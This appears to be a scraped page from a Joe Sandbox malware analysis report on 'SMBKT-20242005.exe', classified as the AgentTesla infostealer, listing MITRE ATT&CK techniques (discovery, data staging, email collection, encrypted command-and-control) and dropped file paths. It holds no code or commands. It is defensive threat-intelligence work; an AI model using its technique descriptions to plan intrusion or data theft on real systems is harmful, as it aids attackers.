Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SMBKT-20242005.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SMBKT-20242005.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\joUXSCpr.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2fv52zpf.um0.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5qd5z15m.5aw.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iflrwkg2.lpi.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jlqfrvgb.rm2.psm1

C:\Users\user\AppData\Local\Temp\tmp1263.tmp

C:\Users\user\AppData\Local\Temp\tmp6AB.tmp

C:\Users\user\AppData\Roaming\joUXSCpr.exe

C:\Users\user\AppData\Roaming\joUXSCpr.exe:Zone.Identifier

Static File Info

Windows Analysis Report
SMBKT-20242005.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre